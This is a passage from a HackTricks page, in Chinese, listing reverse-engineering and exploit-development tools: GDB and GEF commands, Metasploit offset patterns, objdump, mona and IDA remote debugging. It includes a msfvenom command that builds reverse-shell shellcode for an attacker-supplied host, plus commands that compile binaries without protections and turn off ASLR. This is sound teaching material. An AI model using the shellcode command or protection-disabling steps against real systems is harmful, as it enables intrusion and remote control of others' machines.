hacktricks/reversing-and-exploiting/tools
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漏洞利用工具

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支持HackTricks的其他方式

Metasploit

pattern_create.rb -l 3000   #Length
pattern_offset.rb -l 3000 -q 5f97d534   #Search offset
nasm_shell.rb
nasm> jmp esp   #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01

Shellcodes

Shellcode是一种用于利用软件漏洞的小型二进制代码。通常用于利用缓冲区溢出漏洞通过向受影响的程序注入恶意代码来实现攻击。Shellcode通常以十六进制格式编写目的是执行特定的操作如提权、执行命令等。

msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c

GDB

安装

apt-get install gdb

参数

-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process

说明

run # Execute
start # Start and break in main
n/next/ni # Execute next instruction (no inside)
s/step/si # Execute next instruction
c/continue # Continue until next breakpoint
p system # Find the address of the system function
set $eip = 0x12345678 # Change value of $eip
help # Get help
quit # exit

# Disassemble
disassemble main # Disassemble the function called main
disassemble 0x12345678 # Disassemble taht address
set disassembly-flavor intel # Use intel syntax
set follow-fork-mode child/parent # Follow child/parent process

# Breakpoints
br func # Add breakpoint to function
br *func+23
br *0x12345678
del <NUM> # Delete that number of breakpoint
watch EXPRESSION # Break if the value changes

# info
info functions --> Info abount functions
info functions func --> Info of the funtion
info registers --> Value of the registers
bt # Backtrace Stack
bt full # Detailed stack
print variable
print 0x87654321 - 0x12345678 # Caculate

# x/examine
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
x/o 0xDir_hex
x/2x $eip # 2Words from EIP
x/2x $eip -4 # $eip - 4
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
i r eip # Value of $eip
x/w pointer # Value of the pointer
x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP

GEF

help memory # Get help on memory command
canary # Search for canary value in memory
checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
got #Check got table
memory watch $_got()+0x18 5 #Watch a part of the got table

# Vulns detection
format-string-helper #Detect insecure format strings
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61

#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤  i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤  pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely

技巧

GDB相同地址

在调试时GDB的地址会与执行时二进制文件使用的地址略有不同。您可以通过以下步骤使GDB具有相同的地址

  • unset env LINES
  • unset env COLUMNS
  • set env _=<path> 将二进制文件的绝对路径放在这里
  • 使用相同的绝对路径利用二进制文件
  • 使用GDB和利用二进制文件时PWDOLDPWD必须相同

回溯以查找调用的函数

当您有一个静态链接的二进制文件时,所有函数将属于该二进制文件(而不是外部库)。在这种情况下,识别二进制文件遵循的流程以便例如请求用户输入将会很困难。
您可以通过使用gdb运行二进制文件直到要求输入时,停止它并使用**bt**backtrace)命令查看调用的函数:

gef➤  bt
#0  0x00000000004498ae in ?? ()
#1  0x0000000000400b90 in ?? ()
#2  0x0000000000400c1d in ?? ()
#3  0x00000000004011a9 in ?? ()
#4  0x0000000000400a5a in ?? ()

GDB 服务器

gdbserver --multi 0.0.0.0:23947在IDA中您必须填写Linux机器和Windows机器中可执行文件的绝对路径

Ghidra

查找堆栈偏移

Ghidra 对于查找缓冲区溢出的偏移非常有用,因为它提供了关于本地变量位置的信息。
例如,在下面的示例中,local_bc 中的缓冲区溢出表明您需要一个偏移量为 0xbc。此外,如果 local_10 是一个 canary cookie则从 local_bc 覆盖它需要一个偏移量为 0xac
请记住,保存 RIP 的第一个 0x08 属于 RBP。

GCC

gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2 --> 无保护编译
-o --> 输出
-g --> 保存代码GDB 可以查看)
echo 0 > /proc/sys/kernel/randomize_va_space --> 在Linux中禁用ASLR

编译 shellcode:
nasm -f elf assembly.asm --> 返回“.o”
ld assembly.o -o shellcodeout --> 可执行文件

Objdump

-d --> 反汇编可执行文件的部分(查看编译后的 shellcode 的操作码,查找 ROP Gadgets查找函数地址...
-Mintel --> Intel 语法
-t --> 符号
-D --> 反汇编所有(静态变量的地址)
-s -j .dtors --> dtors 部分
-s -j .got --> got 部分
-D -s -j .plt --> plt 部分 反编译
ojdump -t --dynamic-relo ./exec | grep puts --> 要在 GOT 中修改的 "puts" 地址
objdump -D ./exec | grep "VAR_NAME" --> 静态变量的地址(这些存储在 DATA 部分)。

Core dumps

  1. 在启动程序之前运行 ulimit -c unlimited
  2. 运行 sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t
  3. sudo gdb --core=\<path/core> --quiet

更多

ldd executable | grep libc.so.6 --> 地址(如果启用 ASLR则每次都会更改
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done --> 循环查看地址是否经常更改
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system --> "system" 的偏移
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh --> "/bin/sh" 的偏移

strace executable --> 可执行文件调用的函数
rabin2 -i ejecutable --> 所有函数的地址

Inmunity debugger

!mona modules    #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll   #Search for opcodes insie dll space (JMP ESP)

IDA

在远程 Linux 中进行调试

在 IDA 文件夹中,您可以找到可用于在 Linux 中调试二进制文件的二进制文件。要这样做,请将 linux_serverlinux_server64 二进制文件移动到 Linux 服务器中,并在包含该二进制文件的文件夹中运行它:

./linux_server64 -Ppass

然后配置调试器调试器linux 远程)--> 进程选项...:

从零开始学习 AWS 黑客技术,成为专家 htARTEHackTricks AWS 红队专家)

支持 HackTricks 的其他方式: